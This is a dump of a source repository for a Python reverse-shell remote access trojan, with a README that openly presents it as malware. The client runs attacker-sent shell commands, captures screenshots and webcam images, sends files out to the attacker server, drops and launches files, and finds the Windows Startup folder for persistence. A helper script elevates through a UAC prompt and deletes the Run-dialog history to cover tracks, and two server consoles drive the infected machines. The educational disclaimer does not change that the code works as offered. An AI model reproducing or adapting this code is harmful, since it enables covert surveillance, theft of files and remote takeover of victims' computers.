├── .gitignore ├── Client ├── client.pyw ├── delete_run_history.py └── webcam_shot.pyw ├── LICENSE ├── README.md ├── Server ├── server_linux.py └── server_windows.py └── images └── connection.png /.gitignore: -------------------------------------------------------------------------------- 1 | todo.txt -------------------------------------------------------------------------------- /Client/client.pyw: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | from time import sleep 4 | import webbrowser 5 | import os 6 | from threading import Thread 7 | import subprocess 8 | import getpass 9 | try: 10 | from PIL import ImageGrab 11 | except ImportError: 12 | pass 13 | 14 | 15 | class Client: 16 | def __init__(self, server_ip=None, port=None, name="pc"): 17 | self.name = name 18 | self.server_ip = server_ip 19 | self.port = port 20 | self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 21 | 22 | self.data_path = "data.txt" 23 | 24 | self.system = sys.platform 25 | 26 | if server_ip is None and port is None: 27 | self.check_file() 28 | 29 | def check_file(self): 30 | if os.path.exists(self.data_path) and os.path.isfile(self.data_path): 31 | with open(self.data_path, "r") as f: 32 | data = f.read() 33 | self.name, self.server_ip, self.port = data.split("-") 34 | 35 | def run(self): 36 | while True: 37 | try: 38 | sleep(1) 39 | self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 40 | self.s.connect((self.server_ip, int(self.port))) 41 | self.s.send(self.name.encode("UTF-8")) 42 | break 43 | 44 | except: 45 | continue 46 | 47 | while True: 48 | 49 | try: 50 | command = self.s.recv(1024).decode("UTF-8") 51 | 52 | if command == "check": 53 | self.s.send("connection established".encode("UTF-8")) 54 | 55 | elif command == "get name": 56 | self.s.send(self.name.encode("UTF-8")) 57 | 58 | elif command == "path mode": 59 | path = os.getcwd().encode("utf-8") 60 | self.s.send(path) 61 | 62 | elif command == "startup path": 63 | username = getpass.getuser() 64 | startup_path = "C:/Users/{}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/StartUp".format(username) 65 | if os.path.exists(startup_path): 66 | os.chdir(startup_path) 67 | self.s.send(os.getcwd().encode("UTF-8")) 68 | else: 69 | self.s.send(os.getcwd().encode("UTF-8")) 70 | 71 | elif command.startswith("cd "): 72 | try: 73 | os.chdir(command[3:]) 74 | self.s.send(os.getcwd().encode("UTF-8")) 75 | 76 | except OSError: 77 | self.s.send(os.getcwd().encode("UTF-8")) 78 | 79 | elif command.startswith("dir"): 80 | self.send_output(command) 81 | 82 | elif command.startswith("web "): 83 | webbrowser.open(command[4:]) 84 | 85 | elif command == "screenshot": 86 | if "linux" not in self.system: 87 | screenshot_name = "screenshot.jpg" 88 | ImageGrab.grab().save(screenshot_name) 89 | with open(screenshot_name, "rb") as f: 90 | data = f.read() 91 | self.s.send(data) 92 | self.s.send("end".encode("utf-8")) 93 | os.remove(screenshot_name) 94 | else: 95 | self.s.send("error".encode("utf-8")) 96 | 97 | elif command == "webcam": 98 | if os.path.exists("webcam_shot.pyw"): 99 | #os.system("start webcam_shot.pyw") 100 | os.startfile("webcam_shot.pyw") 101 | self.s.send("Taking webcam shot.".encode("utf-8")) 102 | else: 103 | self.s.send("File to take webcam shots doesn't exist.".encode("utf-8")) 104 | 105 | elif command.startswith("read "): 106 | file = command.split()[1] 107 | if os.path.exists(file) and os.path.isfile(file): 108 | self.s.send("ok".encode("utf-8")) 109 | with open(file, "rb") as f: 110 | data = f.read() 111 | self.s.send(data) 112 | self.s.send("end".encode("utf-8")) 113 | else: 114 | self.s.send("error".encode("utf-8")) 115 | 116 | elif command.startswith("send "): 117 | file_name = command.split()[1] 118 | file_data = b"" 119 | while True: 120 | data = self.s.recv(1024) 121 | file_data += data 122 | if data.endswith(b"end"): 123 | break 124 | with open(file_name, "wb") as f: 125 | f.write(file_data[:len(file_data) - 3]) 126 | self.s.send("File has been written.".encode("utf-8")) 127 | 128 | elif command.startswith("start "): 129 | file = command.split()[1] 130 | if os.path.exists(file) and len(file) > 0: 131 | os.startfile(file) 132 | self.s.send("File has been opened.".encode("utf-8")) 133 | else: 134 | self.s.send("File doesn't exist.".encode("utf-8")) 135 | 136 | elif command == "close" or command == "reset": 137 | self.s.close() 138 | break 139 | 140 | else: 141 | self.send_output(command) 142 | 143 | except: 144 | break 145 | 146 | sleep(1) 147 | Thread(target=self.run).start() 148 | 149 | def send_output(self, command): 150 | process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 151 | output = process.stdout.read() + process.stderr.read() 152 | self.s.send(output) 153 | self.s.send("end".encode("utf-8")) 154 | 155 | 156 | if __name__ == '__main__': 157 | name = "" 158 | ip = "" 159 | port = 6000 160 | client = Client(ip, port, name) 161 | client.run() 162 | 163 | 164 | -------------------------------------------------------------------------------- /Client/delete_run_history.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import sys 3 | from winreg import * 4 | from time import sleep 5 | 6 | 7 | def is_admin(): 8 | try: 9 | return ctypes.windll.shell32.IsUserAnAdmin() 10 | except: 11 | return False 12 | 13 | 14 | if is_admin(): 15 | hKey = OpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU", 0, KEY_ALL_ACCESS) 16 | 17 | length_of_keys = QueryInfoKey(hKey) 18 | 19 | for x in range(0, length_of_keys[1]): 20 | name, value, key_type = EnumValue(hKey, 0) 21 | DeleteValue(hKey, name) 22 | print("{} deleted".format(name)) 23 | 24 | CloseKey(hKey) 25 | sleep(3) 26 | else: 27 | ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, sys.argv[0], None, 1) 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /Client/webcam_shot.pyw: -------------------------------------------------------------------------------- 1 | import cv2 2 | from time import sleep 3 | 4 | 5 | def take_webcam_shot(camera): 6 | camera.set(cv2.CAP_PROP_FRAME_WIDTH, 1280) 7 | camera.set(cv2.CAP_PROP_FRAME_HEIGHT, 720) 8 | 9 | x = 0 10 | while True: 11 | ret, frame = camera.read() 12 | if x > 4: 13 | if ret: 14 | frame = cv2.flip(frame, 1) 15 | cv2.imwrite("webcam_shot.jpg", frame) 16 | break 17 | else: 18 | x += 1 19 | 20 | 21 | x = 0 22 | 23 | while x < 3: 24 | camera = cv2.VideoCapture(x) 25 | if camera.isOpened(): 26 | take_webcam_shot(camera) 27 | camera.release() 28 | break 29 | else: 30 | x += 1 31 | 32 | cv2.destroyAllWindows() 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 MartysHD 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
This python malware-program is a presentation of how can reverse shell works.
3 |Revershe shell is type of malware where device of victim is connected in background to attacker. This way attacker can remotely control victim's computer, watch their activity, grab information and really anything that is in his desire.
4 | 5 |Reverse shell malwares are divided into two main programs:
10 | 11 |Server side of the program belong to hacker/attacker.
13 |Server program is started on specified ip address which can be as public as local with opened port. To this parameters is going to be victim connected. It is a console application so everything is happening inside of a console/terminal.
14 |After successfully established connection attacker (server) can start sending pre-defined commands to victim (client). Some commands can be used before any client is connected (i named them server commands), but most of them are working only with connected client (server-client commands).
15 | 16 |python server.py --help22 | 23 |
python server.py -ip [ip address]25 | 26 |
python server.py -port [port]28 | 29 |
python server.py -get-local-ip32 | 33 |
python server.py -get-external-ip35 | 36 | Specify parameters in program 37 | ```python 38 | ip = '192.168.1.136' 39 | port = 5000 40 | server = Server(ip, port) 41 | server.run() 42 | ``` 43 | 44 |
When you're in program after server's been initialized and it is listening for connections in background you still use commands that are not relited to client. These commands are only affecting your running server program.
46 |You can list through all possible commands with command list or print commands. 47 |
print commands / list51 | 52 |
clear54 | 55 |
show ip57 | 58 |
show port60 | 61 |
show screenshots directory63 | 64 |
show webcam shots directory66 | 67 |
save69 | 70 |
set [client's id or name]72 | 73 |
unset75 | 76 |
wait78 | 79 |
clients81 | 82 |
rename [oldname newname]84 | 85 |
name mode87 | 88 |
These are the commands that are related to client and they are sent to client wich is responding on them.
90 |You list through the connected clients with command client.
91 |After this you can set a client with command set [client's id or name] by clients id or name.
92 |That's it! You can now send all cool commands to client and just like that start crawling through victim's computer, making screenshot, reading, sending or starting files etc. .
93 | 94 |check96 | 97 |
get name99 | 100 |
path mode102 | 103 |
cd [options/directory]105 | 106 |
dir [options]108 | 109 |
web [url]111 | 112 |
screenshot [-d (directory), -s (start number)]116 | 117 |
webcam119 | 120 |
read [file]122 | 123 |
send [file]125 | 126 |
start [file]128 | 129 |
reset131 | 132 |
[command] -c134 | 135 |
close/exit/quit137 | 138 |
Before malware is started on client's machine, it needs to be configure it with server ip and port on wich server is listening for connections.
140 |Client's program is going to overly trying to connect to this ip address and port.
141 |After client is connected, everything is ready for attacker and he can start manipulating victim's device.
142 |Initialize client's program by adding these cuple lines inside of client's malware program:
143 | 144 | ```python 145 | server_ip = '192.168.1.136' 146 | port = 5000 147 | name = 'my_brother' 148 | client = Client(server_ip, port, name) 149 | client.run() 150 | ``` 151 | 152 |This project was made for educational purposes only.
160 |You are the only responsable for your actions!
161 | -------------------------------------------------------------------------------- /Server/server_linux.py: -------------------------------------------------------------------------------- 1 | from argparse import ArgumentParser 2 | import socket 3 | from os import system 4 | from os.path import exists, isfile, isdir 5 | from time import sleep 6 | from threading import Thread 7 | try: 8 | from requests import get as r_get 9 | except ImportError: 10 | pass 11 | 12 | 13 | class Server: 14 | 15 | def __init__(self, ip=None, port=6000): 16 | # server ip, port, main server socket 17 | self.ip = ip 18 | self.port = port 19 | self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 20 | self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 21 | 22 | # arguments variables 23 | self.list = False 24 | self.wait_mode = False 25 | self.argument_parser() 26 | 27 | # dictionary of clients {id: name, socket} 28 | # actual chosen client's id, name and socket 29 | self.clients = {} 30 | self.client_id = None 31 | self.client_name = "" 32 | self.client_socket = None 33 | 34 | # ---------- shell commands variables ---------- 35 | # path mode command 36 | self.client_path = "" 37 | 38 | # screenshot command 39 | self.directory_of_screenshots = "screenshots" 40 | self.screenshot_number = 0 41 | 42 | # webcam command 43 | self.webcam_shots_directory = "webcam_shots" 44 | self.webcam_shot_number = 0 45 | 46 | # variable for main loop to accept and create new connections while this is True 47 | self.accepting_connections = True 48 | 49 | self.closing = False 50 | 51 | # File data to save ip and port 52 | self.file_data = "data.txt" 53 | 54 | self.ip, self.port = self.check_parameters() 55 | 56 | def argument_parser(self): 57 | parser = ArgumentParser(usage="python server.py [-options]") 58 | parser.add_argument("-ip", type=str, nargs="?", const=self.ip, default=self.ip, help="Set ip address.") 59 | parser.add_argument("-port", type=int, nargs="?", const=self.port, default=self.port, help="Set port. Default is set to 6000.") 60 | parser.add_argument("-get-local-ip", action="store_true", help="Find and set local ip.") 61 | parser.add_argument("-get-external-ip", action="store_true", help="Find and set external ip.") 62 | parser.add_argument("-l", "--list", action="store_true", help="Print all commands.") 63 | parser.add_argument("-w", "--wait", action="store_true", help="Start with wait command. Wait for connections.") 64 | args = parser.parse_args() 65 | 66 | if args.get_local_ip: 67 | device_name = socket.gethostname() 68 | print("Reading local ip from: {}".format(device_name)) 69 | self.ip = socket.gethostbyname(device_name) 70 | 71 | elif args.get_external_ip: 72 | self.ip = r_get('https://api.ipify.org').text 73 | 74 | else: 75 | self.ip = args.ip 76 | self.port = args.port 77 | 78 | self.list = args.list 79 | self.wait_mode = args.wait 80 | 81 | # ---------------------------------------------- 82 | # Main program methods 83 | # ---------------------------------------------- 84 | 85 | # Basic startup 86 | def run(self): 87 | print("ip -> {}".format(self.ip)) 88 | print("port -> {}".format(str(self.port))) 89 | print("----------------------------------") 90 | 91 | try: 92 | # Basic configuration for main server socket 93 | self.server_socket.bind((self.ip, int(self.port))) 94 | self.server_socket.listen(10) 95 | 96 | Thread(target=self.accept_connections).start() 97 | sleep(.1) 98 | 99 | self.shell() 100 | 101 | except OSError as e: 102 | print(e) 103 | print("Couldn't bind and start listening on specified parameters.") 104 | 105 | # Main loop for accepting connections 106 | def accept_connections(self): 107 | print("Accepting connections...") 108 | print("----------------------------------") 109 | 110 | self.startup_commands() 111 | 112 | while self.accepting_connections: 113 | sock, a = self.server_socket.accept() 114 | if self.wait_mode: 115 | print("\nNew connection established.") 116 | 117 | if not self.closing: 118 | client_name = sock.recv(1024).decode("utf-8") 119 | client_name = "_".join(client_name.split()) 120 | if client_name not in self.get_clients_names(): 121 | self.clients[str(len(self.clients))] = client_name, sock 122 | else: 123 | x = 1 124 | new_client_name = client_name 125 | while new_client_name in self.get_clients_names(): 126 | new_client_name = client_name + str(x) 127 | x += 1 128 | self.clients[str(len(self.clients))] = new_client_name, sock 129 | 130 | sleep(.1) 131 | print("Accepting connections stopped.") 132 | 133 | self.server_socket.close() 134 | 135 | # Main loop console 136 | def shell(self): 137 | 138 | command = "" 139 | 140 | while command != "close" and command != "exit" and command != "quit": 141 | try: 142 | print("") 143 | 144 | command = input("-> " if self.client_name == "" else self.client_name + ">" if self.client_path == "" else self.client_path + ">") 145 | 146 | # ---------------------------------------------- 147 | # Server commands 148 | # ---------------------------------------------- 149 | 150 | if command == "print commands" or command == "list": 151 | system("clear") 152 | self.print_commands() 153 | 154 | elif command == "clear" or command == "cls": 155 | system("clear") 156 | 157 | elif command == "show ip": 158 | print("ip -> {}".format(self.ip)) 159 | 160 | elif command == "show port": 161 | print("port -> {}".format(str(self.port))) 162 | 163 | elif command == "show screenshots directory": 164 | print(self.directory_of_screenshots) 165 | 166 | elif command == "show webcam shots directory": 167 | print(self.webcam_shots_directory) 168 | 169 | elif command == "save": 170 | self.save_data() 171 | 172 | elif command.startswith("set "): 173 | try: 174 | self.set_client(command.split()[1]) 175 | except IndexError: 176 | print("Invalid syntax (set [clients name])") 177 | 178 | elif command == "unset": 179 | self.unset_client() 180 | 181 | elif command == "wait": 182 | self.waiting_mode() 183 | 184 | elif command == "clients": 185 | if self.clients != {}: 186 | print("--------------- Connected clients ---------------") 187 | print("id name ip address") 188 | for id, data in self.clients.items(): 189 | name, sock = data[0], data[1] 190 | print(id + " " * (10 - len(id)) + name + " " * (20 - len(name)) + sock.getpeername()[0]) 191 | else: 192 | print("No clients connected.") 193 | 194 | elif command.startswith("rename "): 195 | try: 196 | old_name = command.split()[1] 197 | new_name = command.split()[2] 198 | result = self.update_client_name(old_name, new_name) 199 | if result: 200 | print("New name to client has been set.") 201 | if self.is_set(name=old_name): 202 | self.unset_client() 203 | else: 204 | print("Client with that name doesn't exist.") 205 | except IndexError: 206 | print("Invalid syntax (rename oldname newname)") 207 | 208 | elif command == "name mode": 209 | self.client_path = "" 210 | 211 | elif command.startswith("screenshot -s "): 212 | self.screenshot_number = int(command.strip("screenshot -s ")) 213 | print("Screenshots are going to be saved from {}".format(str(self.screenshot_number))) 214 | 215 | # ---------------------------------------------- 216 | # Server-Client commands 217 | # ---------------------------------------------- 218 | 219 | elif command == "check": 220 | try: 221 | if self.send_command(command): 222 | message = self.client_socket.recv(22).decode("UTF-8") 223 | print(message) 224 | 225 | except socket.error as e: 226 | print(e) 227 | 228 | elif command == "get name": 229 | if self.send_command(command): 230 | name = self.client_socket.recv(30).decode("UTF-8") 231 | print(name) 232 | 233 | elif command == "path mode": 234 | if self.send_command(command): 235 | self.client_path = self.client_socket.recv(1024).decode("UTF-8") 236 | 237 | elif command == "startup path": 238 | if self.send_command(command): 239 | self.client_path = self.client_socket.recv(1024).decode("UTF-8") 240 | 241 | elif command.startswith("cd "): 242 | if self.send_command(command): 243 | self.client_path = self.client_socket.recv(1024).decode("UTF-8") 244 | 245 | elif command.startswith("dir"): 246 | if self.send_command(command): 247 | self.get_output() 248 | 249 | elif command.startswith("web "): 250 | self.send_command(command) 251 | 252 | elif command.startswith("screenshot"): 253 | if " -d " in command: 254 | directory = command.replace("screenshot -d ", "") 255 | if exists(directory) and isdir(directory): 256 | self.directory_of_screenshots = directory 257 | print("Directory {} for screenshots has been set.".format(self.directory_of_screenshots)) 258 | else: 259 | print("Directory doesn't exist or specified path is not a directory.") 260 | 261 | else: 262 | if self.send_command(command): 263 | self.get_screenshot() 264 | 265 | elif command == "webcam": 266 | if self.send_command(command): 267 | result = self.client_socket.recv(1024).decode("utf-8") 268 | print(result) 269 | 270 | elif command.startswith("read "): 271 | if self.send_command(command): 272 | respond = self.client_socket.recv(1024).decode("utf-8") 273 | if respond != "error": 274 | file_name = command.split()[1] 275 | file_data = b"" 276 | while True: 277 | data = self.client_socket.recv(1024) 278 | file_data += data 279 | if data.endswith(b"end"): 280 | break 281 | file_data = file_data[:len(file_data) - 3] 282 | with open(file_name, "wb") as f: 283 | f.write(file_data) 284 | print("File {} has been written.".format(file_name)) 285 | else: 286 | print("File doesn't exist or it is directory.") 287 | 288 | elif command.startswith("send "): 289 | try: 290 | file = command.split()[1] 291 | if exists(file) and isfile(file): 292 | with open(file, "rb") as f: 293 | data = f.read() 294 | if self.send_command(command): 295 | self.client_socket.send(data) 296 | self.client_socket.send("end".encode("utf-8")) 297 | output = self.client_socket.recv(22).decode("utf-8") 298 | print(output) 299 | else: 300 | print("File doesn't exist.") 301 | 302 | except IndexError: 303 | print("Invalid syntax (send [file])") 304 | 305 | elif command.startswith("start "): 306 | if self.send_command(command): 307 | message = self.client_socket.recv(1024).decode("utf-8") 308 | print(message) 309 | 310 | elif command == "reset": 311 | if self.send_command(command): 312 | self.remove_client() 313 | 314 | # Just to be user friendly 315 | elif command == "": 316 | pass 317 | 318 | elif command == "close" or command == "exit" or command == "quit": 319 | pass 320 | 321 | else: 322 | if command.endswith(" -c"): 323 | command = command[:len(command) - 3] 324 | if self.send_command(command): 325 | self.get_output() 326 | else: 327 | print("Command doesn't exist.") 328 | 329 | except KeyboardInterrupt: 330 | print("KeyboardInterrupt") 331 | 332 | self.reset_clients() 333 | self.exit() 334 | 335 | # ---------------------------------------------- 336 | # Main methods for basic commands 337 | # Handling clients 338 | # ---------------------------------------------- 339 | 340 | def set_client_valid(self, id, name=None, sock=None): 341 | if name is None and sock is None: 342 | self.client_socket = self.clients[id][1] 343 | self.client_id = id 344 | self.client_name = self.clients[id][0] 345 | else: 346 | self.client_socket = sock 347 | self.client_id = id 348 | self.client_name = name 349 | 350 | self.client_path = "" 351 | 352 | # set client 353 | def set_client(self, id): 354 | if self.clients != {}: 355 | if id in self.clients: 356 | self.set_client_valid(id) 357 | else: 358 | name = id 359 | for client_id, data in self.clients.items(): 360 | if name == data[0]: 361 | self.set_client_valid(client_id) 362 | name = None 363 | break 364 | 365 | if name is not None: 366 | print("Client with this id or name doesn't exist.") 367 | else: 368 | print("No clients connected.") 369 | 370 | # is client set 371 | def is_set(self, id=None, name=None): 372 | if id is not None: 373 | if self.client_id == str(id): 374 | return True 375 | else: 376 | return False 377 | elif name is not None: 378 | if self.client_name == name: 379 | return True 380 | else: 381 | return False 382 | else: 383 | return False 384 | 385 | # unset client 386 | def unset_client(self): 387 | self.client_socket = None 388 | self.client_id = None 389 | self.client_name = "" 390 | self.client_path = "" 391 | 392 | # send command to client 393 | def send_command(self, command): 394 | if self.client_socket is not None: 395 | try: 396 | self.client_socket.send(command.encode("UTF-8")) 397 | return True 398 | except OSError: 399 | print("Client is not connected anymore.") 400 | self.remove_client() 401 | return False 402 | else: 403 | print("Some client has to be selected.") 404 | return False 405 | 406 | def remove_client(self): 407 | self.clients.pop(self.client_id) 408 | self.client_socket = None 409 | self.client_id = None 410 | self.client_name = "" 411 | 412 | self.reset_id_numbers() 413 | 414 | def reset_id_numbers(self): 415 | length = len(self.clients) 416 | new_id = 0 417 | for id in self.clients: 418 | if new_id != length: 419 | self.clients[str(new_id)] = self.clients.pop(id) 420 | new_id += 1 421 | 422 | def get_clients_names(self): 423 | names = [] 424 | for id, data in self.clients.items(): 425 | names.append(data[0]) 426 | return names 427 | 428 | def get_client_id_by_name(self, name): 429 | id = None 430 | if name in self.get_clients_names(): 431 | for i, data in self.clients.items(): 432 | if name in data: 433 | id = i 434 | break 435 | return id 436 | 437 | def get_client_name_by_id(self, id): 438 | pass 439 | 440 | def update_client_name(self, old_name, new_name): 441 | id = self.get_client_id_by_name(old_name) 442 | if id is not None: 443 | self.clients[id] = new_name, self.clients.pop(id)[1] 444 | return True 445 | else: 446 | return False 447 | 448 | # Reset connections with clients 449 | def reset_clients(self): 450 | for id in self.clients: 451 | try: 452 | self.clients[id][1].send("close".encode("UTF-8")) 453 | except OSError: 454 | pass 455 | 456 | # Shutdown whole program, Close the main loop for accepting connections 457 | def exit(self): 458 | self.accepting_connections = False 459 | self.closing = True 460 | # connect to the main server socket to move loop from start and close the loop 461 | try: 462 | closing_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 463 | closing_socket.connect((self.ip, int(self.port))) 464 | 465 | except OSError as e: 466 | print(e) 467 | 468 | finally: 469 | print("\nProgram has been closed.") 470 | 471 | # ---------------------------------------------- 472 | # Methods for commands 473 | # ---------------------------------------------- 474 | 475 | @staticmethod 476 | def print_commands(): 477 | print("""Commands: 478 | server commands: 479 | \tprint commands / list -> print commands 480 | \tclear -> clear the screen 481 | \tshow ip -> show ip address 482 | \tshow port -> show port 483 | \tshow screenshots directory -> show directory where screenshots are going to be saved 484 | \tshow webcam shots directory -> show directory where webcam shots are going to be saved 485 | \tsave -> save ip and port data 486 | \tset [client's id or name] -> set socket by client's name 487 | \tunset -> unset current selected user 488 | \twait -> print new connections 489 | \tclients -> show all connected clients 490 | \trename [oldname newname] -> rename client 491 | \tname mode -> show name instead of path 492 | 493 | server-client commands: 494 | \tcheck -> simple check if connection is all right with client 495 | \tget name -> request name from client 496 | \tpath mode -> set and show client's path instead of name 497 | \tcd [options/directory] -> change directory 498 | \tdir [options] -> list directory 499 | \tweb [url] -> open web page by url 500 | \tscreenshot [-d(directory), -s (start number)] -> Get screenshot from client 501 | \t\t -d -> directory where screenshots are going to be saved 502 | \t\t -s -> set start number for saving screenshots 503 | \twebcam -> Get image from client's webcam 504 | \tread [file] -> read and save file from client 505 | \tsend [file] -> send file 506 | \tstart [file] -> start and open file 507 | \treset -> reset connection with client 508 | 509 | [command] -c -> send any other command 510 | 511 | closing commands: 512 | \tclose/exit/quit -> close the program 513 | """) 514 | 515 | def startup_commands(self): 516 | if self.list: 517 | self.print_commands() 518 | 519 | if self.wait_mode: 520 | print("") 521 | Thread(target=self.waiting_mode).start() 522 | 523 | def waiting_mode(self): 524 | try: 525 | self.wait_mode = True 526 | input("Press enter to stop...") 527 | 528 | except KeyboardInterrupt: 529 | pass 530 | 531 | finally: 532 | self.wait_mode = False 533 | 534 | def get_output(self): 535 | output = "" 536 | while True: 537 | data = self.client_socket.recv(1024).decode("utf-8", errors="ignore") 538 | output += data 539 | if data.endswith("end"): 540 | break 541 | print(output[:len(output) - 3]) 542 | 543 | def get_screenshot(self): 544 | 545 | linux_system = False 546 | 547 | screenshot_data = b"" 548 | 549 | print("Collecting screenshot data") 550 | while True: 551 | data = self.client_socket.recv(1024) 552 | screenshot_data += data 553 | print(len(screenshot_data), end="\r") 554 | if data.endswith(b"end"): 555 | break 556 | if data == "error".encode("utf-8"): 557 | linux_system = True 558 | break 559 | 560 | if not linux_system: 561 | 562 | while exists(self.directory_of_screenshots + "/screenshot" + str(self.screenshot_number) + ".jpg"): 563 | self.screenshot_number += 1 564 | 565 | if exists(self.directory_of_screenshots): 566 | screenshot_name = self.directory_of_screenshots + "/screenshot" + str(self.screenshot_number) + ".jpg" 567 | with open(screenshot_name, "wb") as f: 568 | f.write(screenshot_data[:len(screenshot_data) - 3]) 569 | print("screenshot" + str(self.screenshot_number) + ".jpg " + "saved.\n") 570 | else: 571 | print("Directory where screenshot should be saved doesn't exist.") 572 | 573 | else: 574 | print("Can not take screenshot on linux system.") 575 | 576 | # ---------------------------------------------- 577 | # Constructor methods (and save command) 578 | # ---------------------------------------------- 579 | 580 | def check_parameters(self): 581 | if self.ip is None or len(self.ip) < 7: 582 | if exists(self.file_data): 583 | with open(self.file_data, "r") as f: 584 | print("Reading saved file...") 585 | try: 586 | self.ip, self.port = f.read().split("-") 587 | except IndexError: 588 | self.ask() 589 | else: 590 | self.ask() 591 | 592 | return self.ip, self.port 593 | 594 | def ask(self): 595 | while True: 596 | self.ip = input("Set ip -> ") 597 | if self.ip is not None: 598 | break 599 | 600 | def save_data(self): 601 | if exists(self.file_data): 602 | ans = input("data.txt already exists, do you want to rewrite it ? (y/n): ") 603 | if ans == "y" or ans == "Y": 604 | self.write_data() 605 | else: 606 | print("Data haven't been stored.") 607 | else: 608 | self.write_data() 609 | 610 | def write_data(self): 611 | with open(self.file_data, "w") as f: 612 | f.write("{}-{}".format(self.ip, str(self.port))) 613 | print("Data have been written.") 614 | 615 | # ---------------------------------------------- 616 | # Methods before run() method 617 | # ---------------------------------------------- 618 | 619 | def get_ip(self): 620 | return self.ip 621 | 622 | def set_ip(self, ip): 623 | self.ip = ip 624 | 625 | def get_port(self): 626 | return self.port 627 | 628 | def set_port(self, port): 629 | self.port = int(port) 630 | 631 | # all commands 632 | # type -> all, server, server-client 633 | @staticmethod 634 | def get_commands(type="all"): 635 | commands = {"server": ("print_commands/list", "clear/cls", "show ip", "show port", "show screenshots directory", 636 | "save", "set [client's id/name]", "unset", "wait", "clients", "rename oldname newname" "name mode", "screenshot -d [directory]", "screenshot -s [start number]"), 637 | "server-client": ("check", "get name", "path mode", "cd [directory]", "dir", "web [url]", "screenshot", "screenshot -n [number of screenshots]", 638 | "screenshot -t [seconds]", "webcam", "read [file]", "send [file]", "start [file]", "reset", "close/exit/quit", 639 | "-c in command")} 640 | if type == "all": 641 | return commands 642 | elif type == "server": 643 | return commands["server"] 644 | elif type == "server-client": 645 | return commands["server-client"] 646 | else: 647 | return "Invalid type." 648 | 649 | # server commands 650 | def get_commands_s(self): 651 | return self.get_commands("server") 652 | 653 | # server-client commands 654 | def get_commands_sc(self): 655 | return self.get_commands("server-client") 656 | 657 | # ---------------------------------------------- 658 | # Python Class methods 659 | # ---------------------------------------------- 660 | 661 | def __str__(self): 662 | return "server ip -> {}\nport -> {}".format(self.ip, str(self.port)) 663 | 664 | 665 | if __name__ == "__main__": 666 | server = Server() 667 | server.run() 668 | 669 | 670 | -------------------------------------------------------------------------------- /Server/server_windows.py: -------------------------------------------------------------------------------- 1 | from argparse import ArgumentParser 2 | import socket 3 | from os import system 4 | from os.path import exists, isfile, isdir 5 | from time import sleep 6 | from threading import Thread 7 | try: 8 | from requests import get as r_get 9 | except ImportError: 10 | pass 11 | 12 | 13 | class Server: 14 | 15 | def __init__(self, ip=None, port=6000): 16 | # server ip, port, main server socket 17 | self.ip = ip 18 | self.port = port 19 | self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 20 | self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 21 | 22 | # arguments variables 23 | self.list = False 24 | self.wait_mode = False 25 | self.argument_parser() 26 | 27 | # dictionary of clients {id: name, socket} 28 | # actual chosen client's id, name and socket 29 | self.clients = {} 30 | self.client_id = None 31 | self.client_name = "" 32 | self.client_socket = None 33 | 34 | # ---------- shell commands variables ---------- 35 | # path mode command 36 | self.client_path = "" 37 | 38 | # screenshot command 39 | self.directory_of_screenshots = "screenshots" 40 | self.screenshot_number = 0 41 | 42 | # webcam command 43 | self.webcam_shots_directory = "webcam_shots" 44 | self.webcam_shot_number = 0 45 | 46 | # variable for main loop to accept and create new connections while this is True 47 | self.accepting_connections = True 48 | 49 | self.closing = False 50 | 51 | # File data to save ip and port 52 | self.file_data = "data.txt" 53 | 54 | self.ip, self.port = self.check_parameters() 55 | 56 | def argument_parser(self): 57 | parser = ArgumentParser(usage="python server.py [-options]") 58 | parser.add_argument("-ip", type=str, nargs="?", const=self.ip, default=self.ip, help="Set ip address.") 59 | parser.add_argument("-port", type=int, nargs="?", const=self.port, default=self.port, help="Set port. Default is set to 6000.") 60 | parser.add_argument("-get-local-ip", action="store_true", help="Find and set local ip.") 61 | parser.add_argument("-get-external-ip", action="store_true", help="Find and set external ip.") 62 | parser.add_argument("-l", "--list", action="store_true", help="Print all commands.") 63 | parser.add_argument("-w", "--wait", action="store_true", help="Start with wait command. Wait for connections.") 64 | args = parser.parse_args() 65 | 66 | if args.get_local_ip: 67 | device_name = socket.gethostname() 68 | print("Reading local ip from: {}".format(device_name)) 69 | self.ip = socket.gethostbyname(device_name) 70 | 71 | elif args.get_external_ip: 72 | self.ip = r_get('https://api.ipify.org').text 73 | 74 | else: 75 | self.ip = args.ip 76 | self.port = args.port 77 | 78 | self.list = args.list 79 | self.wait_mode = args.wait 80 | 81 | # ---------------------------------------------- 82 | # Main program methods 83 